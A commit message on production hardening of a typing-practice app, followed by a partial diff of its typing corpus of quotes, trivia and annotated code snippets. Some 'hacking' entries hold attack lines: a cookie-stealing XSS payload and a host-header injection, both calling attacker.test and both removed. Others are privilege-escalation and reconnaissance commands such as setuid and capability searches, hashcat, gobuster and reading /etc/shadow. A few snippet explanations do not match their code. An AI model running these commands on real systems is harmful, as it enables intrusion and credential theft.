Harden for production: dependencies, headers, admin roles, docs

Dependencies
- The server build carried 37 known advisories, including RUSTSEC-2024-0363
  in sqlx 0.7, which is the database layer. sqlx moved to 0.8 with
  default-features off, which also drops the MySQL and SQLite drivers and
  with them rsa and RUSTSEC-2023-0071. reqwest moved to 0.12, which brings
  hyper 1.x and was the sole source of every remaining advisory: h2 0.3,
  rustls-webpki 0.101, rustls-pemfile 1.0 and idna 0.3.
- The server build now reports no known vulnerabilities against OSV. cargo
  audit itself would not compile, so the check queries OSV with the crate
  versions cargo tree reports for the server binary.
- Cargo.lock is committed. This workspace produces binaries, so the lockfile
  is what makes a deployed build reproducible and the audit above meaningful.

Headers
- The application sent no security headers at all. The static server now
  sends a Content-Security-Policy, nosniff, frame options, a referrer policy
  and a permissions policy; the API sends a policy of its own, since it
  serves JSON and should load and frame nothing.
- The one inline script in index.html moved to a file so script-src needs no
  unsafe-inline. WebAssembly needs wasm-unsafe-eval, without which nothing
  types at all, so that is present and explained.
- Five style attributes moved to the CSSOM rather than adding unsafe-inline
  for styles. A style attribute in markup is refused by the policy; the same
  property set through element.style is not.

Production configuration
- With TYPERPUNK_ENV=production the server refuses to start if COOKIE_SECURE
  is off, if DATABASE_URL is still the development default, or if
  FRONTEND_ORIGIN is http on a non-local host. These were warnings, and a
  warning in a log nobody reads is not a safeguard.

Administration
- Moderators were appointed with psql. There is now an admin role,
  bootstrapped from TYPERPUNK_ADMIN_USERNAME at startup, and a UI to appoint
  and remove moderators. An administrator's own role cannot be changed
  through the API, so a mistake cannot lock everyone out of moderation.

Corpus
- scripts/export_approved.js writes approved submissions back into
  data/packs/community-*.json. Approved passages are served from the database
  and merged at startup, so without this the repository dataset and the live
  corpus drift apart, and a fresh checkout or the TUI sees only what shipped.

Documentation
- README rewritten for the repository: what it does, how to run it, the pack
  format, the server variables, deployment, and what the security posture
  actually is. Plain English, no em dashes, no emoji.

Checked and found already correct: every private endpoint refuses anonymous
callers, session cookies are HttpOnly and SameSite=Lax, CORS names a single
origin, internal errors are logged rather than returned, and every query is
parameterised.

7 files changed, 1280 insertions, 1156 deletions

diff --git a/web/src/data/texts.json b/web/src/data/texts.json
index 2830aa6..a91d202 100644
--- a/web/src/data/texts.json
+++ b/web/src/data/texts.json
@@ -1,155 +1,149 @@
 [
   {
-    "category": "anime",
-    "content": "Don't believe in yourself. Believe in me who believes in you.",
-    "attribution": "Gurren Lagann"
+    "category": "science",
+    "content": "Imagination is more important than knowledge. Knowledge is limited. Imagination encircles the world.",
+    "attribution": "Albert Einstein"
   },
   {
-    "category": "history",
-    "content": "We must always take sides. Neutrality helps the oppressor, never the victim. Silence encourages the tormentor.",
-    "attribution": "Elie Wiesel, 1986"
+    "category": "movies",
+    "content": "It's only after we've lost everything that we're free to do anything.",
+    "attribution": "Fight Club (1999)"
   },
   {
     "category": "sysadmin",
-    "content": "awk -F: '$7 !~ /(nologin|false)$/ {print $1, $7}' /etc/passwd",
+    "content": "sudo awk -F: '$2 == \"\" {print $1}' /etc/shadow",
     "attribution": "Users",
     "language": "shell",
-    "explanation": "Accounts with a real login shell, which is the set that can actually sign in."
+    "explanation": "Accounts with an empty password field. Should return nothing on any machine you care about."
   },
   {
     "category": "hacking",
-    "content": "pacman -Qkk 2>&1 | grep -v ' 0 altered files'",
-    "attribution": "Defence",
+    "content": "find / -perm -4000 -type f 2>/dev/null",
+    "attribution": "Post-exploitation",
     "language": "shell",
-    "explanation": "Compares installed files against the package manager's own checksums. A changed system binary shows up here."
+    "explanation": "Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it."
   },
   {
-    "category": "general",
-    "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity."
+    "category": "technology",
+    "content": "A ship in port is safe, but that's not what ships are built for.",
+    "attribution": "Grace Hopper"
   },
   {
-    "category": "anime",
-    "content": "When do you think people die? When they are forgotten.",
-    "attribution": "One Piece"
+    "category": "business",
+    "content": "When a measure becomes a target, it ceases to be a good measure.",
+    "attribution": "Goodhart's Law"
   },
   {
-    "category": "general",
-    "content": "The quick brown fox jumps over the lazy dog."
+    "category": "business",
+    "content": "Your brand is what other people say about you when you're not in the room.",
+    "attribution": "Jeff Bezos"
   },
   {
-    "category": "philosophy",
-    "content": "Stoicism is a school of ancient Greek philosophy that teaches the practice of virtue as the only true good, and encourages focusing only on what lies within one's own control."
+    "category": "anime",
+    "content": "You have no enemies. Nobody has any enemies. There is nobody that you should hurt.",
+    "attribution": "Vinland Saga"
   },
   {
-    "category": "hacking",
-    "content": "curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u",
-    "attribution": "Recon",
-    "language": "shell",
-    "explanation": "Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints."
+    "category": "programming",
+    "content": "*counts.entry(word).or_insert(0) += 1;",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "entry().or_insert_with() looks the key up once. The obvious contains_key-then-insert hashes it twice."
   },
   {
-    "category": "science",
-    "content": "Science and everyday life cannot and should not be separated.",
-    "attribution": "Rosalind Franklin"
+    "category": "sysadmin",
+    "content": "journalctl -u nginx -n 50 --no-pager -p err",
+    "attribution": "systemd",
+    "language": "shell",
+    "explanation": "Why a unit failed, without paging through the whole journal. -u scopes to the unit, -n limits the lines, --no-pager keeps it in the pipeline."
   },
   {
-    "category": "anime",
-    "content": "What I want more than anything is for you to live and help me live too.",
-    "attribution": "A Silent Voice"
+    "category": "programming",
+    "content": "fn main() { println!(\"{}\", args().skip(1).collect::<Vec<_>>().join(\" \")); }",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "skip(1) drops the program name, which is always the first argument. Vec<_> lets the compiler infer the element type."
   },
   {
-    "category": "nature",
-    "content": "No one will protect what they don't care about, and no one will care about what they have never experienced.",
-    "attribution": "David Attenborough"
+    "category": "history",
+    "content": "The world will little note nor long remember what we say here, but it can never forget what they did here.",
+    "attribution": "Abraham Lincoln, Gettysburg Address, 1863"
   },
   {
-    "category": "hacking",
-    "content": "fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))",
-    "attribution": "Web",
-    "language": "javascript",
-    "explanation": "A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it."
+    "category": "shell",
+    "content": "curl -s https://api.example.com/users | jq -r '.[] | select(.active) | .email'",
+    "attribution": "Pipelines",
+    "language": "shell",
+    "explanation": "jq selects and reshapes JSON. -r prints raw strings, so the output is usable by the next command rather than quoted."
   },
   {
-    "category": "business",
-    "content": "A wealth of information creates a poverty of attention.",
-    "attribution": "Herbert Simon"
+    "category": "science",
+    "content": "What you do makes a difference, and you have to decide what kind of difference you want to make.",
+    "attribution": "Jane Goodall"
   },
   {
-    "category": "general",
-    "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp."
+    "category": "business",
+    "content": "Management is doing things right; leadership is doing the right things.",
+    "attribution": "Peter Drucker"
   },
   {
-    "category": "anime",
-    "content": "We fear that which we cannot see.",
-    "attribution": "Bleach"
+    "category": "nature",
+    "content": "Wilderness is not a luxury but a necessity of the human spirit.",
+    "attribution": "Edward Abbey, Desert Solitaire"
   },
   {
-    "category": "business",
-    "content": "Success breeds complacency. Complacency breeds failure. Only the paranoid survive.",
-    "attribution": "Andy Grove, Only the Paranoid Survive"
+    "category": "philosophy",
+    "content": "The impediment to action advances action. What stands in the way becomes the way.",
+    "attribution": "Marcus Aurelius, Meditations"
   },
   {
-    "category": "sysadmin",
-    "content": "ip route get 8.8.8.8",
-    "attribution": "Network",
-    "language": "shell",
-    "explanation": "Which route the kernel will actually use for a destination, including the source address it will pick."
+    "category": "general",
+    "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron."
   },
   {
-    "category": "quotes",
-    "content": "Whatever you are, be a good one.",
-    "attribution": "Abraham Lincoln"
+    "category": "general",
+    "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered."
   },
   {
-    "category": "nature",
-    "content": "The land is one great wild, untidy, luxuriant hothouse, made by nature for herself.",
-    "attribution": "Charles Darwin, The Voyage of the Beagle"
+    "category": "history",
+    "content": "It was we, the people, not we, the white male citizens, nor yet we, the male citizens, who formed this Union.",
+    "attribution": "Susan B. Anthony, 1873"
   },
   {
-    "category": "science",
-    "content": "The greatest enemy of knowledge is not ignorance, it is the illusion of knowledge.",
-    "attribution": "Stephen Hawking"
+    "category": "history",
+    "content": "Injustice anywhere is a threat to justice everywhere.",
+    "attribution": "Martin Luther King Jr., Letter from Birmingham Jail, 1963"
   },
   {
     "category": "nature",
-    "content": "The earth is what we all have in common.",
-    "attribution": "Wendell Berry"
-  },
-  {
-    "category": "sysadmin",
-    "content": "chmod --reference=/etc/passwd /etc/passwd.new && chown --reference=/etc/passwd /etc/passwd.new",
-    "attribution": "Permissions",
-    "language": "shell",
-    "explanation": "Copies the ownership and mode of one file onto another, rather than typing the numbers and getting them wrong."
+    "content": "The mountains are calling and I must go.",
+    "attribution": "John Muir"
   },
   {
     "category": "programming",
-    "content": "SELECT user_id, wpm, RANK() OVER (PARTITION BY mode ORDER BY wpm DESC) AS rank FROM results;",
-    "attribution": "SQL",
-    "language": "clike",
-    "explanation": "A window function ranks rows within each partition without collapsing them, which a GROUP BY cannot do."
-  },
-  {
-    "category": "literature",
-    "content": "It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife. However little known the feelings or views of such a man may be on his first entering a neighbourhood, this truth is so well fixed in the minds of the surrounding families.",
-    "attribution": "Jane Austen, Pride and Prejudice"
+    "content": "export async function load(url) { const res = await fetch(url); return res.json(); }",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "fetch resolves as soon as headers arrive, so .json() is a second await for the body. It does not throw on a 404 - check res.ok."
   },
   {
     "category": "hacking",
-    "content": "ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403",
-    "attribution": "Web",
+    "content": "getcap -r / 2>/dev/null | grep -E 'cap_(setuid|dac_override|sys_admin)'",
+    "attribution": "Post-exploitation",
     "language": "shell",
-    "explanation": "Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories."
+    "explanation": "Capabilities are finer-grained than setuid but grant real power. cap_setuid on an interpreter is root."
   },
   {
-    "category": "technology",
-    "content": "We can only see a short distance ahead, but we can see plenty there that needs to be done.",
-    "attribution": "Alan Turing, Computing Machinery and Intelligence"
+    "category": "nature",
+    "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life.",
+    "attribution": "Henry David Thoreau, Walden"
   },
   {
-    "category": "business",
-    "content": "A bad system will beat a good person every time.",
-    "attribution": "W. Edwards Deming"
+    "category": "shell",
+    "content": "awk -F, 'NF != 3 {print NR\": \"$0}' data.csv",
+    "attribution": "awk",
+    "language": "shell",
+    "explanation": "NR is the current line number, NF the field count. This finds malformed rows: any line that does not have exactly three fields."
   },
   {
     "category": "history",
@@ -157,364 +151,354 @@
     "attribution": "Cicero"
   },
   {
-    "category": "nature",
-    "content": "In every walk with nature one receives far more than he seeks.",
-    "attribution": "John Muir"
-  },
-  {
-    "category": "science",
-    "content": "Somewhere, something incredible is waiting to be known.",
-    "attribution": "Carl Sagan"
+    "category": "business",
+    "content": "Success breeds complacency. Complacency breeds failure. Only the paranoid survive.",
+    "attribution": "Andy Grove, Only the Paranoid Survive"
   },
   {
-    "category": "literature",
-    "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world.",
-    "attribution": "Herman Melville, Moby-Dick"
+    "category": "technology",
+    "content": "Design is not just what it looks like and feels like. Design is how it works.",
+    "attribution": "Steve Jobs"
   },
   {
-    "category": "business",
-    "content": "The purpose of business is to create and keep a customer.",
-    "attribution": "Peter Drucker"
+    "category": "nature",
+    "content": "There lives the dearest freshness deep down things.",
+    "attribution": "Gerard Manley Hopkins, God's Grandeur"
   },
   {
-    "category": "technology",
-    "content": "The most damaging phrase in the language is: we've always done it this way.",
-    "attribution": "Grace Hopper"
+    "category": "programming",
+    "content": "if err != nil { return fmt.Errorf(\"read config: %w\", err) }",
+    "attribution": "Go",
+    "language": "clike",
+    "explanation": "Go's error convention. %w wraps the original so errors.Is and errors.As can still see it further up."
   },
   {
     "category": "hacking",
-    "content": "forged = hashlib.sha256(secret_len * b'\\x00' + original + padding + suffix).hexdigest()",
+    "content": "hashcat -m 0 -a 0 hashes.txt rockyou.txt --force",
     "attribution": "Crypto",
-    "language": "python",
-    "explanation": "A length-extension attack works because the hash's internal state is its output. HMAC exists precisely to stop this."
+    "language": "shell",
+    "explanation": "An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years."
   },
   {
-    "category": "history",
-    "content": "There are many causes that I am prepared to die for but no causes that I am prepared to kill for.",
-    "attribution": "Mahatma Gandhi"
+    "category": "movies",
+    "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get.",
+    "attribution": "Forrest Gump (1994)"
   },
   {
-    "category": "business",
-    "content": "Management is doing things right; leadership is doing the right things.",
-    "attribution": "Peter Drucker"
+    "category": "quotes",
+    "content": "The two most important days in your life are the day you are born and the day you find out why.",
+    "attribution": "Mark Twain"
   },
   {
-    "category": "technology",
-    "content": "Talk is cheap. Show me the code.",
-    "attribution": "Linus Torvalds"
+    "category": "business",
+    "content": "A bad system will beat a good person every time.",
+    "attribution": "W. Edwards Deming"
   },
   {
     "category": "history",
-    "content": "It was we, the people, not we, the white male citizens, nor yet we, the male citizens, who formed this Union.",
-    "attribution": "Susan B. Anthony, 1873"
+    "content": "That's one small step for a man, one giant leap for mankind.",
+    "attribution": "Neil Armstrong, 1969"
   },
   {
-    "category": "philosophy",
-    "content": "The impediment to action advances action. What stands in the way becomes the way.",
-    "attribution": "Marcus Aurelius, Meditations"
+    "category": "programming",
+    "content": "const total = items.reduce((acc, item) => acc + item.price, 0);",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "reduce walks the array carrying a running value. The 0 is the starting total; drop it and an empty array throws."
   },
   {
-    "category": "history",
-    "content": "The only thing we have to fear is fear itself: nameless, unreasoning, unjustified terror.",
-    "attribution": "Franklin D. Roosevelt, 1933"
+    "category": "general",
+    "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat."
   },
   {
-    "category": "technology",
-    "content": "Adding manpower to a late software project makes it later.",
-    "attribution": "Fred Brooks, The Mythical Man-Month"
+    "category": "anime",
+    "content": "Even if you can't see it, the river keeps flowing under the ice.",
+    "attribution": "March Comes in Like a Lion"
   },
   {
-    "category": "programming",
-    "content": "struct node { int value; struct node *next; };",
-    "attribution": "C",
-    "language": "clike",
-    "explanation": "A linked-list node. It refers to its own type through a pointer, which is legal because a pointer has a known size."
+    "category": "hacking",
+    "content": "curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'",
+    "attribution": "Web",
+    "language": "shell",
+    "explanation": "Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable."
   },
   {
-    "category": "science",
-    "content": "If you know you are on the right track, if you have this inner knowledge, then nobody can turn you off.",
-    "attribution": "Barbara McClintock"
+    "category": "movies",
+    "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist.",
+    "attribution": "The Usual Suspects (1995)"
   },
   {
-    "category": "shell",
-    "content": "set -euo pipefail",
-    "attribution": "Shell safety",
+    "category": "sysadmin",
+    "content": "du -xh --max-depth=1 / 2>/dev/null | sort -rh | head -15",
+    "attribution": "Disk",
     "language": "shell",
-    "explanation": "The unofficial strict mode: exit on error, exit on undefined variable, and fail a pipeline if any stage fails rather than only the last."
+    "explanation": "Largest directories at this level, human readable. -x stays on one filesystem so it does not wander into /proc or a mount."
   },
   {
-    "category": "anime",
-    "content": "You have no enemies. Nobody has any enemies. There is nobody that you should hurt.",
-    "attribution": "Vinland Saga"
+    "category": "hacking",
+    "content": "gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40",
+    "attribution": "Recon",
+    "language": "shell",
+    "explanation": "Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live."
   },
   {
     "category": "hacking",
-    "content": "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'",
-    "attribution": "Post-exploitation",
-    "language": "shell",
-    "explanation": "Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working."
+    "content": "forged = hashlib.sha256(secret_len * b'\\x00' + original + padding + suffix).hexdigest()",
+    "attribution": "Crypto",
+    "language": "python",
+    "explanation": "A length-extension attack works because the hash's internal state is its output. HMAC exists precisely to stop this."
   },
   {
-    "category": "business",
-    "content": "Your brand is what other people say about you when you're not in the room.",
-    "attribution": "Jeff Bezos"
+    "category": "literature",
+    "content": "The year 1866 was signalised by a remarkable incident, a mysterious and inexplicable phenomenon, which doubtless no one has yet forgotten. Ships had met with a huge thing, a long object, spindle-shaped, and at times phosphorescent.",
+    "attribution": "Jules Verne, Twenty Thousand Leagues Under the Sea"
   },
   {
-    "category": "anime",
-    "content": "This world is rotten, and those who are making it rot deserve to die.",
-    "attribution": "Death Note"
+    "category": "general",
+    "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun."
   },
   {
-    "category": "hacking",
-    "content": "curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location",
-    "attribution": "Web",
+    "category": "philosophy",
+    "content": "The Socratic method uses a series of questions and answers to expose contradictions in a person's beliefs, encouraging deeper critical thinking rather than simply providing answers."
+  },
+  {
+    "category": "shell",
+    "content": "for f in \"$@\"; do printf '%s\\n' \"${f%.*}\"; done",
+    "attribution": "Shell safety",
     "language": "shell",
-    "explanation": "A header the application echoes back into a redirect or a password-reset link is a host header injection."
+    "explanation": "Quoting \"$@\" preserves each argument exactly, including ones containing spaces. Unquoted $@ splits them apart."
   },
   {
-    "category": "quotes",
-    "content": "Failure is impossible.",
-    "attribution": "Susan B. Anthony"
+    "category": "anime",
+    "content": "Overspecialize, and you breed in weakness. It's slow death.",
+    "attribution": "Ghost in the Shell"
   },
   {
-    "category": "sysadmin",
-    "content": "docker system prune -af --volumes --filter 'until=168h'",
-    "attribution": "Containers",
-    "language": "shell",
-    "explanation": "Removes stopped containers, unused networks and dangling images. The usual cause of a full disk on a build host."
+    "category": "quotes",
+    "content": "It is not the critic who counts; not the man who points out how the strong man stumbles. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood.",
+    "attribution": "Theodore Roosevelt, Citizenship in a Republic"
   },
   {
-    "category": "hacking",
-    "content": "char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */",
-    "attribution": "Memory safety",
-    "language": "clike",
-    "explanation": "The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger."
+    "category": "literature",
+    "content": "The Time Traveller, for so it will be convenient to speak of him, was expounding a recondite matter to us. His grey eyes shone and twinkled, and his usually pale face was flushed and animated.",
+    "attribution": "H.G. Wells, The Time Machine"
   },
   {
-    "category": "movies",
-    "content": "Louis, I think this is the beginning of a beautiful friendship.",
-    "attribution": "Casablanca (1942)"
+    "category": "anime",
+    "content": "Life is suffering. It is hard. The world is cursed. But still, you find reasons to keep on living.",
+    "attribution": "Princess Mononoke"
   },
   {
-    "category": "hacking",
-    "content": "if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')",
-    "attribution": "Defence",
-    "language": "python",
-    "explanation": "Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing."
+    "category": "literature",
+    "content": "I read that every known superstition in the world is gathered into the horseshoe of the Carpathians, as if it were the centre of some sort of imaginative whirlpool, and it made me uneasy in a way I could not explain.",
+    "attribution": "Bram Stoker, Dracula"
   },
   {
     "category": "programming",
-    "content": "let config: Config = toml::from_str(&fs::read_to_string(path)?)?;",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "The ? operator returns early on Err, converting the error type through From. It is what keeps error handling from nesting."
+    "content": "public static void main(String[] args) { System.out.println(\"ready\"); }",
+    "attribution": "Java",
+    "language": "clike",
+    "explanation": "Java's entry point. The signature is fixed: static so it runs without an instance, and taking the command-line arguments."
   },
   {
-    "category": "general",
-    "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface."
+    "category": "literature",
+    "content": "Mr. Sherlock Holmes, who was usually very late in the mornings, save upon those not infrequent occasions when he was up all night, was seated at the breakfast table.",
+    "attribution": "Arthur Conan Doyle, The Hound of the Baskervilles"
   },
   {
     "category": "sysadmin",
-    "content": "find /etc /usr -type f -perm -o+w -ls 2>/dev/null",
-    "attribution": "Permissions",
-    "language": "shell",
-    "explanation": "World-writable files outside the places that are meant to be. A common way a service ends up modifiable by anyone."
-  },
-  {
-    "category": "programming",
-    "content": "git bisect start HEAD v1.2.0 && git bisect run ./test.sh",
-    "attribution": "Git",
+    "content": "ssh -o ControlMaster=auto -o ControlPersist=10m -o ControlPath=~/.ssh/cm-%r@%h:%p host",
+    "attribution": "SSH",
     "language": "shell",
-    "explanation": "Finds the commit that introduced a bug by bisecting history. Give it a known-good and known-bad commit and it halves the range each step."
+    "explanation": "Reuses one connection for subsequent sessions, so every later ssh or scp to the same host skips the handshake."
   },
   {
     "category": "programming",
-    "content": "if (typeof value !== 'string' || value.length === 0) { return null; }",
+    "content": "document.querySelectorAll('.row').forEach(el => el.classList.toggle('active'));",
     "attribution": "JavaScript",
     "language": "javascript",
-    "explanation": "A guard clause: reject the bad input first and return, instead of nesting the real work inside an if."
+    "explanation": "querySelectorAll returns a static NodeList, so it will not change as you mutate the elements in it."
   },
   {
-    "category": "programming",
-    "content": "impl Display for Token { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, \"{}\", self.0) } }",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "Implementing Display is what makes a type usable in {}. self.0 is the first field of a tuple struct."
+    "category": "movies",
+    "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.",
+    "attribution": "The Matrix (1999)"
   },
   {
-    "category": "sysadmin",
-    "content": "sudo awk -F: '$2 == \"\" {print $1}' /etc/shadow",
-    "attribution": "Users",
-    "language": "shell",
-    "explanation": "Accounts with an empty password field. Should return nothing on any machine you care about."
+    "category": "science",
+    "content": "What we observe is not nature itself, but nature exposed to our method of questioning.",
+    "attribution": "Werner Heisenberg"
   },
   {
-    "category": "shell",
-    "content": "awk '{bytes[$1] += $10} END {for (ip in bytes) print bytes[ip], ip}' access.log | sort -rn | head",
-    "attribution": "awk",
-    "language": "shell",
-    "explanation": "Associative arrays are awk's real power. This sums bytes per IP in one pass, then END prints the totals once input is exhausted."
+    "category": "philosophy",
+    "content": "A journey of a thousand miles begins with a single step.",
+    "attribution": "Lao Tzu, Tao Te Ching"
   },
   {
-    "category": "nature",
-    "content": "The earth does not belong to us. We belong to the earth.",
-    "attribution": "Chief Seattle"
+    "category": "philosophy",
+    "content": "It is not that we have a short time to live, but that we waste a lot of it.",
+    "attribution": "Seneca, On the Shortness of Life"
   },
   {
-    "category": "quotes",
-    "content": "Genius is one percent inspiration and ninety-nine percent perspiration.",
-    "attribution": "Thomas Edison"
+    "category": "history",
+    "content": "You have to make more noise than anybody else, you have to fill all the papers more than anybody else.",
+    "attribution": "Emmeline Pankhurst, 1913"
   },
   {
-    "category": "technology",
-    "content": "We shape our tools, and thereafter our tools shape us.",
-    "attribution": "Marshall McLuhan"
+    "category": "science",
+    "content": "Nothing in life is to be feared, it is only to be understood. Now is the time to understand more, so that we may fear less.",
+    "attribution": "Marie Curie"
   },
   {
-    "category": "quotes",
-    "content": "The only limit to our realization of tomorrow is our doubts of today.",
-    "attribution": "Franklin D. Roosevelt"
+    "category": "hacking",
+    "content": "grep -rE '^[^#].*(ALL|NOPASSWD)' /etc/sudoers /etc/sudoers.d/ 2>/dev/null",
+    "attribution": "Defence",
+    "language": "shell",
+    "explanation": "Audits which accounts can escalate, and how. The answer is usually longer than anyone expects."
   },
   {
     "category": "sysadmin",
-    "content": "systemctl cat sshd.service && systemctl show sshd -p ExecStart",
-    "attribution": "systemd",
+    "content": "find /etc /usr -type f -perm -o+w -ls 2>/dev/null",
+    "attribution": "Permissions",
     "language": "shell",
-    "explanation": "Shows what a unit will actually run, including drop-ins, after every override has been merged."
+    "explanation": "World-writable files outside the places that are meant to be. A common way a service ends up modifiable by anyone."
   },
   {
-    "category": "technology",
-    "content": "The question of whether a computer can think is no more interesting than the question of whether a submarine can swim.",
-    "attribution": "Edsger Dijkstra"
+    "category": "anime",
+    "content": "If everyone is not special, maybe you can be what you want to be.",
+    "attribution": "Mob Psycho 100"
   },
   {
-    "category": "programming",
-    "content": "grep -rn \"TODO\" src/ | awk -F: '{print $1}' | sort -u",
-    "attribution": "Shell",
-    "language": "shell",
-    "explanation": "grep -n prints file:line:text, awk splits on the colon to take the filename, sort -u removes the duplicates."
+    "category": "movies",
+    "content": "What we do in life echoes in eternity.",
+    "attribution": "Gladiator (2000)"
   },
   {
     "category": "science",
-    "content": "Extraordinary claims require extraordinary evidence.",
-    "attribution": "Carl Sagan, The Demon-Haunted World"
+    "content": "The cosmos is within us. We are made of star-stuff. We are a way for the universe to know itself.",
+    "attribution": "Carl Sagan, Cosmos"
   },
   {
-    "category": "history",
-    "content": "We choose to go to the moon in this decade and do the other things, not because they are easy, but because they are hard.",
-    "attribution": "John F. Kennedy, 1962"
+    "category": "programming",
+    "content": "const { id, name = 'anonymous', ...rest } = await request.json();",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "Destructuring with a default and a rest property. The default applies only when the value is undefined, not when it is null."
   },
   {
-    "category": "literature",
-    "content": "The Nellie, a cruising yawl, swung to her anchor without a flutter of the sails, and was at rest. The flood had made, the wind was nearly calm, and being bound down the river, the only thing for it was to come to and wait for the turn of the tide.",
-    "attribution": "Joseph Conrad, Heart of Darkness"
+    "category": "programming",
+    "content": "const unique = [...new Set(values)].sort((a, b) => a - b);",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "A Set discards duplicates. Spreading it back to an array allows sorting; the comparator is required or numbers sort as text."
+  },
+  {
+    "category": "history",
+    "content": "I have a dream that my four little children will one day live in a nation where they will not be judged by the colour of their skin.",
+    "attribution": "Martin Luther King Jr., 1963"
   },
   {
     "category": "literature",
-    "content": "You don't know about me without you have read a book by the name of The Adventures of Tom Sawyer, but that ain't no matter. That book was made by Mr. Mark Twain, and he told the truth, mainly.",
-    "attribution": "Mark Twain, Adventures of Huckleberry Finn"
+    "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world.",
+    "attribution": "Herman Melville, Moby-Dick"
   },
   {
-    "category": "business",
-    "content": "Organisations design systems which are copies of the communication structures of those organisations.",
-    "attribution": "Conway's Law"
+    "category": "programming",
+    "content": "let config: Config = toml::from_str(&fs::read_to_string(path)?)?;",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "The ? operator returns early on Err, converting the error type through From. It is what keeps error handling from nesting."
   },
   {
-    "category": "anime",
-    "content": "Once you've met someone, you never really forget them.",
-    "attribution": "Spirited Away"
+    "category": "history",
+    "content": "I have cherished the ideal of a democratic and free society in which all persons live together in harmony and with equal opportunities.",
+    "attribution": "Nelson Mandela, 1964"
   },
   {
-    "category": "movies",
-    "content": "I love the smell of napalm in the morning.",
-    "attribution": "Apocalypse Now (1979)"
+    "category": "business",
+    "content": "The market can remain irrational longer than you can remain solvent.",
+    "attribution": "John Maynard Keynes"
   },
   {
     "category": "anime",
-    "content": "Anywhere can be paradise as long as you have the will to live.",
-    "attribution": "Neon Genesis Evangelion"
+    "content": "When people are protecting something truly special to them, they truly can become as strong as they can be.",
+    "attribution": "Naruto"
   },
   {
-    "category": "movies",
-    "content": "I am big. It's the pictures that got small.",
-    "attribution": "Sunset Boulevard (1950)"
+    "category": "hacking",
+    "content": "lsmod | awk 'NR>1 {print $1}' | while read m; do modinfo -n \"$m\" 2>/dev/null; done | grep -v '^/lib/modules'",
+    "attribution": "Defence",
+    "language": "shell",
+    "explanation": "Compares running kernel modules against what the package manager installed. An unexpected module is worth explaining."
   },
   {
-    "category": "technology",
-    "content": "Technology is neither good nor bad; nor is it neutral.",
-    "attribution": "Melvin Kranzberg"
+    "category": "movies",
+    "content": "All those moments will be lost in time, like tears in rain. Time to die.",
+    "attribution": "Blade Runner (1982)"
   },
   {
-    "category": "programming",
-    "content": "const total = items.reduce((acc, item) => acc + item.price, 0);",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "reduce walks the array carrying a running value. The 0 is the starting total; drop it and an empty array throws."
+    "category": "nature",
+    "content": "In wildness is the preservation of the world.",
+    "attribution": "Henry David Thoreau, Walking"
   },
   {
     "category": "movies",
-    "content": "Get busy living, or get busy dying.",
-    "attribution": "The Shawshank Redemption (1994)"
-  },
-  {
-    "category": "general",
-    "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun."
+    "content": "What we've got here is failure to communicate.",
+    "attribution": "Cool Hand Luke (1967)"
   },
   {
-    "category": "programming",
-    "content": "def fib(n): return n if n < 2 else fib(n - 1) + fib(n - 2)",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "Recursion with a base case. Correct but exponential - each call spawns two more, so it recomputes the same values repeatedly."
+    "category": "anime",
+    "content": "We fear that which we cannot see.",
